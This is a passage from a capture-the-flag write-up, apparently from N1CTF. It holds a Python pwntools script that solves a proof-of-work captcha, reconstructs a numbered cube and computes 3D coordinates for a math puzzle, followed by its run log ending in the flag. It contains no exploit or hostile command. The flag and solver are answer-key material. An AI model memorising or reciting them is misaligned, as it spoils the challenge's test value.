</span></span><span style="display:flex;"><span>	<span style="color:#d0a8ff">print</span> <span style="color:#fc6a5d">&#39;Solving captcha for&#39;</span>, base, target
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">while</span> <span style="color:#fc5fa3">True</span>:
</span></span><span style="display:flex;"><span>		z = <span style="color:#fc6a5d">&#39;&#39;</span>.join(random.choice(string.ascii_letters) <span style="color:#fc5fa3">for</span> _ in <span style="color:#d0a8ff">range</span>(<span style="color:#d0bf69">10</span>))
</span></span><span style="display:flex;"><span>		h = hashlib.sha256(base + z).hexdigest()
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">if</span> h.startswith(target):
</span></span><span style="display:flex;"><span>			r.sendline(z)
</span></span><span style="display:flex;"><span>			<span style="color:#fc5fa3">break</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">readFace</span>(name):
</span></span><span style="display:flex;"><span>	<span style="color:#d0a8ff">print</span> <span style="color:#fc6a5d">&#39;Reading face&#39;</span>, name
</span></span><span style="display:flex;"><span>	line = r.readline().strip()
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">while</span> line != name:
</span></span><span style="display:flex;"><span>		line = r.readline().strip()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	out = []
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">for</span> i in <span style="color:#d0a8ff">range</span>(<span style="color:#d0bf69">7</span>):
</span></span><span style="display:flex;"><span>		r.readline()
</span></span><span style="display:flex;"><span>		out.append(<span style="color:#d0a8ff">map</span>(<span style="color:#d0a8ff">int</span>, r.readline().strip()[<span style="color:#d0bf69">1</span>:-<span style="color:#d0bf69">1</span>].split(<span style="color:#fc6a5d">&#39;|&#39;</span>)))
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">return</span> out
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#6c7986"># 90° clockwise</span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">rotate</span>(face):
</span></span><span style="display:flex;"><span>	out = []
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">for</span> i in <span style="color:#d0a8ff">range</span>(<span style="color:#d0bf69">7</span>):
</span></span><span style="display:flex;"><span>		row = []
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">for</span> j in <span style="color:#d0a8ff">range</span>(<span style="color:#d0bf69">6</span>, -<span style="color:#d0bf69">1</span>, -<span style="color:#d0bf69">1</span>):
</span></span><span style="display:flex;"><span>			row.append(face[j][i])
</span></span><span style="display:flex;"><span>		out += [row]
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">return</span> out
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">flip</span>(face):
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">return</span> face[::-<span style="color:#d0bf69">1</span>]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">getFace</span>(a, b, faces, avoid):
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">for</span> i in <span style="color:#d0a8ff">range</span>(<span style="color:#d0bf69">6</span>):
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">if</span> i == avoid:
</span></span><span style="display:flex;"><span>			<span style="color:#fc5fa3">continue</span>
</span></span><span style="display:flex;"><span>		face = faces[i]
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">for</span> _ in <span style="color:#d0a8ff">range</span>(<span style="color:#d0bf69">2</span>):
</span></span><span style="display:flex;"><span>			<span style="color:#fc5fa3">for</span> _ in <span style="color:#d0a8ff">range</span>(<span style="color:#d0bf69">4</span>):
</span></span><span style="display:flex;"><span>				<span style="color:#fc5fa3">if</span> face[<span style="color:#d0bf69">0</span>][<span style="color:#d0bf69">0</span>] == a and face[<span style="color:#d0bf69">0</span>][<span style="color:#d0bf69">6</span>] == b:
</span></span><span style="display:flex;"><span>					<span style="color:#fc5fa3">return</span> i, face
</span></span><span style="display:flex;"><span>				face = rotate(face)
</span></span><span style="display:flex;"><span>			face = flip(face)
</span></span><span style="display:flex;"><span>	<span style="color:#d0a8ff">print</span> <span style="color:#fc6a5d">&#34;Couldn&#39;t get face for&#34;</span>, a, b
</span></span><span style="display:flex;"><span>	quit()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">build</span>(faces):
</span></span><span style="display:flex;"><span>	nums = <span style="color:#d0a8ff">set</span>()
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">for</span> f in faces:
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">for</span> l in f:
</span></span><span style="display:flex;"><span>			<span style="color:#fc5fa3">for</span> e in l:
</span></span><span style="display:flex;"><span>				nums.add(e)
</span></span><span style="display:flex;"><span>	<span style="color:#d0a8ff">print</span> <span style="color:#fc6a5d">&#39;Nums:&#39;</span>, <span style="color:#d0a8ff">len</span>(nums)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	coords = {}
</span></span><span style="display:flex;"><span>	<span style="color:#6c7986"># Back face</span>
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">for</span> i in <span style="color:#d0a8ff">range</span>(<span style="color:#d0bf69">7</span>):
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">for</span> j in <span style="color:#d0a8ff">range</span>(<span style="color:#d0bf69">7</span>):
</span></span><span style="display:flex;"><span>			coords[faces[<span style="color:#d0bf69">0</span>][i][j]] = (j, <span style="color:#d0bf69">6</span> - i, <span style="color:#d0bf69">0</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#6c7986"># Left face</span>
</span></span><span style="display:flex;"><span>	a, b = faces[<span style="color:#d0bf69">0</span>][<span style="color:#d0bf69">6</span>][<span style="color:#d0bf69">0</span>], faces[<span style="color:#d0bf69">0</span>][<span style="color:#d0bf69">0</span>][<span style="color:#d0bf69">0</span>]
</span></span><span style="display:flex;"><span>	idx, f = getFace(a, b, faces, <span style="color:#d0bf69">0</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">for</span> i in <span style="color:#d0a8ff">range</span>(<span style="color:#d0bf69">7</span>):
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">for</span> j in <span style="color:#d0a8ff">range</span>(<span style="color:#d0bf69">7</span>):
</span></span><span style="display:flex;"><span>			<span style="color:#fc5fa3">if</span> f[i][j] in coords:
</span></span><span style="display:flex;"><span>				<span style="color:#fc5fa3">assert</span> coords[f[i][j]] == (<span style="color:#d0bf69">0</span>, j, i)
</span></span><span style="display:flex;"><span>			<span style="color:#fc5fa3">else</span>: coords[f[i][j]] = (<span style="color:#d0bf69">0</span>, j, i)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#6c7986"># Right face</span>
</span></span><span style="display:flex;"><span>	a, b = faces[<span style="color:#d0bf69">0</span>][<span style="color:#d0bf69">0</span>][<span style="color:#d0bf69">6</span>], faces[<span style="color:#d0bf69">0</span>][<span style="color:#d0bf69">6</span>][<span style="color:#d0bf69">6</span>]
</span></span><span style="display:flex;"><span>	idx, f = getFace(a, b, faces, <span style="color:#d0bf69">0</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">for</span> i in <span style="color:#d0a8ff">range</span>(<span style="color:#d0bf69">7</span>):
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">for</span> j in <span style="color:#d0a8ff">range</span>(<span style="color:#d0bf69">7</span>):
</span></span><span style="display:flex;"><span>			<span style="color:#fc5fa3">if</span> f[i][j] in coords:
</span></span><span style="display:flex;"><span>				<span style="color:#fc5fa3">assert</span> coords[f[i][j]] == (<span style="color:#d0bf69">6</span>, <span style="color:#d0bf69">6</span> - j, i)
</span></span><span style="display:flex;"><span>			<span style="color:#fc5fa3">else</span>: coords[f[i][j]] = (<span style="color:#d0bf69">6</span>, <span style="color:#d0bf69">6</span> - j, i)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#6c7986"># Bottom face</span>
</span></span><span style="display:flex;"><span>	a, b = faces[<span style="color:#d0bf69">0</span>][<span style="color:#d0bf69">6</span>][<span style="color:#d0bf69">0</span>], faces[<span style="color:#d0bf69">0</span>][<span style="color:#d0bf69">6</span>][<span style="color:#d0bf69">6</span>]
</span></span><span style="display:flex;"><span>	idx, f = getFace(a, b, faces, <span style="color:#d0bf69">0</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">for</span> i in <span style="color:#d0a8ff">range</span>(<span style="color:#d0bf69">7</span>):
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">for</span> j in <span style="color:#d0a8ff">range</span>(<span style="color:#d0bf69">7</span>):
</span></span><span style="display:flex;"><span>			<span style="color:#fc5fa3">if</span> f[i][j] in coords:
</span></span><span style="display:flex;"><span>				<span style="color:#fc5fa3">assert</span> coords[f[i][j]] == (j, <span style="color:#d0bf69">0</span>, i)
</span></span><span style="display:flex;"><span>			<span style="color:#fc5fa3">else</span>: coords[f[i][j]] = (j, <span style="color:#d0bf69">0</span>, i)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#6c7986"># Top face</span>
</span></span><span style="display:flex;"><span>	a, b = faces[<span style="color:#d0bf69">0</span>][<span style="color:#d0bf69">0</span>][<span style="color:#d0bf69">0</span>], faces[<span style="color:#d0bf69">0</span>][<span style="color:#d0bf69">0</span>][<span style="color:#d0bf69">6</span>]
</span></span><span style="display:flex;"><span>	idx, f = getFace(a, b, faces, <span style="color:#d0bf69">0</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">for</span> i in <span style="color:#d0a8ff">range</span>(<span style="color:#d0bf69">7</span>):
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">for</span> j in <span style="color:#d0a8ff">range</span>(<span style="color:#d0bf69">7</span>):
</span></span><span style="display:flex;"><span>			<span style="color:#fc5fa3">if</span> f[i][j] in coords:
</span></span><span style="display:flex;"><span>				<span style="color:#fc5fa3">assert</span> coords[f[i][j]] == (j, <span style="color:#d0bf69">6</span>, i)
</span></span><span style="display:flex;"><span>			<span style="color:#fc5fa3">else</span>: coords[f[i][j]] = (j, <span style="color:#d0bf69">6</span>, i)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#6c7986"># Front face</span>
</span></span><span style="display:flex;"><span>	a, b = f[<span style="color:#d0bf69">6</span>][<span style="color:#d0bf69">0</span>], f[<span style="color:#d0bf69">6</span>][<span style="color:#d0bf69">6</span>]
</span></span><span style="display:flex;"><span>	idx, f = getFace(a, b, faces, idx)
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">for</span> i in <span style="color:#d0a8ff">range</span>(<span style="color:#d0bf69">7</span>):
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">for</span> j in <span style="color:#d0a8ff">range</span>(<span style="color:#d0bf69">7</span>):
</span></span><span style="display:flex;"><span>			<span style="color:#fc5fa3">if</span> f[i][j] in coords:
</span></span><span style="display:flex;"><span>				<span style="color:#fc5fa3">assert</span> coords[f[i][j]] == (j, <span style="color:#d0bf69">6</span> - i, <span style="color:#d0bf69">6</span>)
</span></span><span style="display:flex;"><span>			<span style="color:#fc5fa3">else</span>: coords[f[i][j]] = (j, <span style="color:#d0bf69">6</span> - i, <span style="color:#d0bf69">6</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">return</span> (coords, nums)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#6c7986"># Line between a and b</span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">class</span> <span style="color:#5dd8ff">Line</span>:
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">__init__</span>(<span style="color:#a167e6">self</span>, a, b):
</span></span><span style="display:flex;"><span>		<span style="color:#a167e6">self</span>.l, <span style="color:#a167e6">self</span>.m, <span style="color:#a167e6">self</span>.n = b[<span style="color:#d0bf69">0</span>] - a[<span style="color:#d0bf69">0</span>], b[<span style="color:#d0bf69">1</span>] - a[<span style="color:#d0bf69">1</span>], b[<span style="color:#d0bf69">2</span>] - a[<span style="color:#d0bf69">2</span>]
</span></span><span style="display:flex;"><span>		<span style="color:#a167e6">self</span>.a, <span style="color:#a167e6">self</span>.b = a, b
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">perpendicular</span>(<span style="color:#a167e6">self</span>, b):
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">return</span> <span style="color:#a167e6">self</span>.l * b.l + <span style="color:#a167e6">self</span>.m * b.m + <span style="color:#a167e6">self</span>.n * b.n == <span style="color:#d0bf69">0</span>
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">points</span>(<span style="color:#a167e6">self</span>):
</span></span><span style="display:flex;"><span>		<span style="color:#6c7986"># Just go into parametric form and evaluate. It&#39;s ugly but it kinda works</span>
</span></span><span style="display:flex;"><span>		out = <span style="color:#d0a8ff">set</span>()
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">for</span> t in <span style="color:#d0a8ff">range</span>(<span style="color:#d0bf69">0</span>, <span style="color:#d0bf69">10001</span>):
</span></span><span style="display:flex;"><span>			f = <span style="color:#d0a8ff">round</span><span style="color:#6c7986">#floor if self.l &gt; 0 else ceil</span>
</span></span><span style="display:flex;"><span>			x = <span style="color:#d0a8ff">int</span>(f(<span style="color:#a167e6">self</span>.a[<span style="color:#d0bf69">0</span>] + t * <span style="color:#a167e6">self</span>.l / <span style="color:#d0bf69">10000.0</span>))
</span></span><span style="display:flex;"><span>			y = <span style="color:#d0a8ff">int</span>(f(<span style="color:#a167e6">self</span>.a[<span style="color:#d0bf69">1</span>] + t * <span style="color:#a167e6">self</span>.m / <span style="color:#d0bf69">10000.0</span>))
</span></span><span style="display:flex;"><span>			z = <span style="color:#d0a8ff">int</span>(f(<span style="color:#a167e6">self</span>.a[<span style="color:#d0bf69">2</span>] + t * <span style="color:#a167e6">self</span>.n / <span style="color:#d0bf69">10000.0</span>))
</span></span><span style="display:flex;"><span>			out.add((x,y,z))
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">return</span> out
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">__repr__</span>(<span style="color:#a167e6">self</span>):
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">return</span> <span style="color:#d0a8ff">str</span>(<span style="color:#a167e6">self</span>.a) + <span style="color:#fc6a5d">&#39; -&gt; &#39;</span> + <span style="color:#d0a8ff">str</span>(<span style="color:#a167e6">self</span>.b)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#6c7986"># Only even, prime and primefactors were actually needed</span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">even</span>(x): <span style="color:#fc5fa3">return</span> x % <span style="color:#d0bf69">2</span> == <span style="color:#d0bf69">0</span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">prime</span>(x): <span style="color:#fc5fa3">return</span> sympy.isprime(x)
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">pal</span>(x): <span style="color:#fc5fa3">return</span> <span style="color:#d0a8ff">str</span>(x) == <span style="color:#d0a8ff">str</span>(x)[::-<span style="color:#d0bf69">1</span>]
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">power</span>(x, b):
</span></span><span style="display:flex;"><span>	p = <span style="color:#d0a8ff">int</span>(log(x, b) + <span style="color:#d0bf69">0.5</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">return</span> b ** p == x
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">perfect</span>(x, p):
</span></span><span style="display:flex;"><span>	r = x ** (<span style="color:#d0bf69">1.0</span> / p)
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">return</span> <span style="color:#d0a8ff">int</span>(r + <span style="color:#d0bf69">0.5</span>) ** p == x
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">primefactors</span>(x): <span style="color:#fc5fa3">return</span> sympy.primefactors(x)[<span style="color:#d0bf69">0</span>] &lt; <span style="color:#d0bf69">10000</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>checks = [even, prime, pal, primefactors]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">for</span> i in <span style="color:#d0a8ff">range</span>(<span style="color:#d0bf69">2</span>, <span style="color:#d0bf69">30</span>):
</span></span><span style="display:flex;"><span>	checks.append(<span style="color:#fc5fa3">lambda</span> c: power(i, c))
</span></span><span style="display:flex;"><span>	checks.append(<span style="color:#fc5fa3">lambda</span> c: perfect(i, c))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">check</span>(nums, f):
</span></span><span style="display:flex;"><span>	m = defaultdict(<span style="color:#d0a8ff">list</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">for</span> e in nums:
</span></span><span style="display:flex;"><span>		m[f(e)].append(e)
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">if</span> <span style="color:#d0a8ff">len</span>(m) != <span style="color:#d0bf69">2</span>:
</span></span><span style="display:flex;"><span>		<span style="color:#6c7986">#print &#39;Fails&#39;, m</span>
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">return</span> ([], [])
</span></span><span style="display:flex;"><span>	out = [x <span style="color:#fc5fa3">for</span> x in m]
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">return</span> (m[out[<span style="color:#d0bf69">0</span>]], m[out[<span style="color:#d0bf69">1</span>]])
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">solve</span>(faces):
</span></span><span style="display:flex;"><span>	coords, nums = build(faces)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">for</span> c in checks:
</span></span><span style="display:flex;"><span>		n = check(nums, c)
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">if</span> <span style="color:#d0a8ff">len</span>(n[<span style="color:#d0bf69">0</span>]) == <span style="color:#d0bf69">7</span> or <span style="color:#d0a8ff">len</span>(n[<span style="color:#d0bf69">1</span>]) == <span style="color:#d0bf69">7</span>:
</span></span><span style="display:flex;"><span>			<span style="color:#d0a8ff">print</span> <span style="color:#fc6a5d">&#39;Check succedeed:&#39;</span>, c
</span></span><span style="display:flex;"><span>			vals = n[<span style="color:#d0bf69">0</span>] <span style="color:#fc5fa3">if</span> <span style="color:#d0a8ff">len</span>(n[<span style="color:#d0bf69">0</span>]) == <span style="color:#d0bf69">7</span> <span style="color:#fc5fa3">else</span> n[<span style="color:#d0bf69">1</span>]
</span></span><span style="display:flex;"><span>			<span style="color:#d0a8ff">print</span> vals
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>			lines = []
</span></span><span style="display:flex;"><span>			<span style="color:#fc5fa3">for</span> i in <span style="color:#d0a8ff">range</span>(<span style="color:#d0a8ff">len</span>(vals)):
</span></span><span style="display:flex;"><span>				<span style="color:#fc5fa3">for</span> j in <span style="color:#d0a8ff">range</span>(i):
</span></span><span style="display:flex;"><span>					lines.append(Line(coords[vals[i]], coords[vals[j]]))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>			sol = []
</span></span><span style="display:flex;"><span>			<span style="color:#fc5fa3">for</span> i in <span style="color:#d0a8ff">range</span>(<span style="color:#d0a8ff">len</span>(lines)):
</span></span><span style="display:flex;"><span>				<span style="color:#fc5fa3">for</span> j in <span style="color:#d0a8ff">range</span>(i):
</span></span><span style="display:flex;"><span>					a, b = lines[i], lines[j]
</span></span><span style="display:flex;"><span>					<span style="color:#fc5fa3">if</span> a.perpendicular(b):
</span></span><span style="display:flex;"><span>						<span style="color:#6c7986"># print &#39;Perpendicular:&#39;, a, b</span>
</span></span><span style="display:flex;"><span>						pa = a.points()
</span></span><span style="display:flex;"><span>						pb = b.points()
</span></span><span style="display:flex;"><span>						inter = [x <span style="color:#fc5fa3">for</span> x in pa.intersection(pb) <span style="color:#fc5fa3">if</span> x[<span style="color:#d0bf69">0</span>] * x[<span style="color:#d0bf69">1</span>] * x[<span style="color:#d0bf69">2</span>] &gt; <span style="color:#d0bf69">0</span> and x[<span style="color:#d0bf69">0</span>] &lt; <span style="color:#d0bf69">6</span> and x[<span style="color:#d0bf69">1</span>] &lt; <span style="color:#d0bf69">6</span> and x[<span style="color:#d0bf69">2</span>] &lt; <span style="color:#d0bf69">6</span>]
</span></span><span style="display:flex;"><span>						<span style="color:#6c7986"># print inter</span>
</span></span><span style="display:flex;"><span>						sol += inter
</span></span><span style="display:flex;"><span>			<span style="color:#d0a8ff">print</span> <span style="color:#fc6a5d">&#39;Solutions:&#39;</span>, sol
</span></span><span style="display:flex;"><span>			<span style="color:#fc5fa3">if</span> <span style="color:#d0a8ff">len</span>(sol) == <span style="color:#d0bf69">0</span>:
</span></span><span style="display:flex;"><span>				<span style="color:#d0a8ff">print</span> <span style="color:#fc6a5d">&#39;No solution found&#39;</span>
</span></span><span style="display:flex;"><span>				<span style="color:#6c7986"># print faces</span>
</span></span><span style="display:flex;"><span>				quit()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>			<span style="color:#fc5fa3">return</span> sol[<span style="color:#d0bf69">0</span>]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#d0a8ff">print</span> <span style="color:#fc6a5d">&#39;No solver found&#39;</span>
</span></span><span style="display:flex;"><span>	<span style="color:#d0a8ff">print</span> faces
</span></span><span style="display:flex;"><span>	quit()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">if</span> <span style="color:#41a1c0">__name__</span> == <span style="color:#fc6a5d">&#34;__main__&#34;</span>:
</span></span><span style="display:flex;"><span>	r = remote(<span style="color:#fc6a5d">&#39;47.75.60.212&#39;</span>, <span style="color:#d0bf69">11011</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	captcha()
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">if</span> <span style="color:#d0a8ff">len</span>(sys.argv) &gt; <span style="color:#d0bf69">1</span>:
</span></span><span style="display:flex;"><span>		r.interactive()
</span></span><span style="display:flex;"><span>		quit()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">for</span> _ in <span style="color:#d0a8ff">range</span>(<span style="color:#d0bf69">5</span>):
</span></span><span style="display:flex;"><span>		<span style="color:#d0a8ff">print</span> <span style="color:#fc6a5d">&#34;=== Solving level&#34;</span>, _, <span style="color:#fc6a5d">&#39;===&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">try</span>:
</span></span><span style="display:flex;"><span>			faces = [readFace(ch) <span style="color:#fc5fa3">for</span> ch in <span style="color:#fc6a5d">&#39;ABCDEF&#39;</span>]
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">except</span>:
</span></span><span style="display:flex;"><span>			<span style="color:#d0a8ff">print</span> <span style="color:#fc6a5d">&#34;Nope, failed again :/&#34;</span>
</span></span><span style="display:flex;"><span>			quit()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>		sol = solve(faces)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>		r.recvuntil(<span style="color:#fc6a5d">&#39;x:&#39;</span>)
</span></span><span style="display:flex;"><span>		r.sendline(<span style="color:#d0a8ff">str</span>(sol[<span style="color:#d0bf69">0</span>]))
</span></span><span style="display:flex;"><span>		r.recvuntil(<span style="color:#fc6a5d">&#39;y:&#39;</span>)
</span></span><span style="display:flex;"><span>		r.sendline(<span style="color:#d0a8ff">str</span>(sol[<span style="color:#d0bf69">1</span>]))
</span></span><span style="display:flex;"><span>		r.recvuntil(<span style="color:#fc6a5d">&#39;z:&#39;</span>)
</span></span><span style="display:flex;"><span>		r.sendline(<span style="color:#d0a8ff">str</span>(sol[<span style="color:#d0bf69">2</span>]))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	r.interactive()
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>[+] Opening connection to 47.75.60.212 on port 11011: Done
</span></span><span style="display:flex;"><span>Solving captcha <span style="color:#fc5fa3">for</span> qslkSm <span style="color:#41a1c0">35833</span>
</span></span><span style="display:flex;"><span>=== Solving level <span style="color:#41a1c0">0</span> ===
</span></span><span style="display:flex;"><span>Reading face A
</span></span><span style="display:flex;"><span>Reading face B
</span></span><span style="display:flex;"><span>Reading face C
</span></span><span style="display:flex;"><span>Reading face D
</span></span><span style="display:flex;"><span>Reading face E
</span></span><span style="display:flex;"><span>Reading face F
</span></span><span style="display:flex;"><span>Nums: <span style="color:#d0bf69">218</span>
</span></span><span style="display:flex;"><span>Check succedeed: &lt;<span style="color:#fc5fa3">function</span> even at 0xcafebabe&gt;
</span></span><span style="display:flex;"><span>[4769684666, 6209217742, 6023565020, 7908922760, 6252119964, 4968995262, 6573984764]
</span></span><span style="display:flex;"><span>Solutions: [(2, 2, 2)]
</span></span><span style="display:flex;"><span>=== Solving level <span style="color:#41a1c0">1</span> ===
</span></span><span style="display:flex;"><span>Reading face A
</span></span><span style="display:flex;"><span>Reading face B
</span></span><span style="display:flex;"><span>Reading face C
</span></span><span style="display:flex;"><span>Reading face D
</span></span><span style="display:flex;"><span>Reading face E
</span></span><span style="display:flex;"><span>Reading face F
</span></span><span style="display:flex;"><span>Nums: <span style="color:#d0bf69">218</span>
</span></span><span style="display:flex;"><span>Check succedeed: &lt;<span style="color:#fc5fa3">function</span> even at 0xdeadbeef&gt;
</span></span><span style="display:flex;"><span>[6904338941, 5817587951, 7750062409, 8317821287, 4624044927, 5387137963, 8289714159]
</span></span><span style="display:flex;"><span>Solutions: [(3, 2, 5), (3, 2, 4)]
</span></span><span style="display:flex;"><span>=== Solving level <span style="color:#41a1c0">2</span> ===
</span></span><span style="display:flex;"><span>Reading face A
</span></span><span style="display:flex;"><span>Reading face B
</span></span><span style="display:flex;"><span>Reading face C
</span></span><span style="display:flex;"><span>Reading face D
</span></span><span style="display:flex;"><span>Reading face E
</span></span><span style="display:flex;"><span>Reading face F
</span></span><span style="display:flex;"><span>Nums: <span style="color:#d0bf69">218</span>
</span></span><span style="display:flex;"><span>Check succedeed: &lt;<span style="color:#fc5fa3">function</span> prime at 0xbaadcafe&gt;
</span></span><span style="display:flex;"><span>[4204061747, 3292669631, 3645316397, 3266714431, 2589252553, 2910816229, 3490277359]
</span></span><span style="display:flex;"><span>Solutions: [(5, 3, 4), (5, 4, 4)]
</span></span><span style="display:flex;"><span>=== Solving level <span style="color:#41a1c0">3</span> ===
</span></span><span style="display:flex;"><span>Reading face A
</span></span><span style="display:flex;"><span>Reading face B
</span></span><span style="display:flex;"><span>Reading face C
</span></span><span style="display:flex;"><span>Reading face D
</span></span><span style="display:flex;"><span>Reading face E
</span></span><span style="display:flex;"><span>Reading face F
</span></span><span style="display:flex;"><span>Nums: <span style="color:#d0bf69">218</span>
</span></span><span style="display:flex;"><span>Check succedeed: &lt;<span style="color:#fc5fa3">function</span> prime at 0xbaadf00d&gt;
</span></span><span style="display:flex;"><span>[6813711975, 7612598477, 8432017163, 7160284219, 6027848751, 8535782963, 6826067957]
</span></span><span style="display:flex;"><span>Solutions: [(5, 4, 5)]
</span></span><span style="display:flex;"><span>=== Solving level <span style="color:#41a1c0">4</span> ===
</span></span><span style="display:flex;"><span>Reading face A
</span></span><span style="display:flex;"><span>Reading face B
</span></span><span style="display:flex;"><span>Reading face C
</span></span><span style="display:flex;"><span>Reading face D
</span></span><span style="display:flex;"><span>Reading face E
</span></span><span style="display:flex;"><span>Reading face F
</span></span><span style="display:flex;"><span>Nums: <span style="color:#d0bf69">218</span>
</span></span><span style="display:flex;"><span>Check succedeed: &lt;<span style="color:#fc5fa3">function</span> primefactors at 0xb000dead&gt;
</span></span><span style="display:flex;"><span>[194668571, 288244259, 825663691, 406614797, 593067869, 353542379, 845340763]
</span></span><span style="display:flex;"><span>Solutions: [(3, 3, 3)]
</span></span><span style="display:flex;"><span>[*] Switching to interactive mode
</span></span><span style="display:flex;"><span> N1CTF{This_1s_a_1j_Math_Game4!}
</span></span><span style="display:flex;"><span>[*] Got EOF <span style="color:#fc5fa3">while</span> reading in interactive
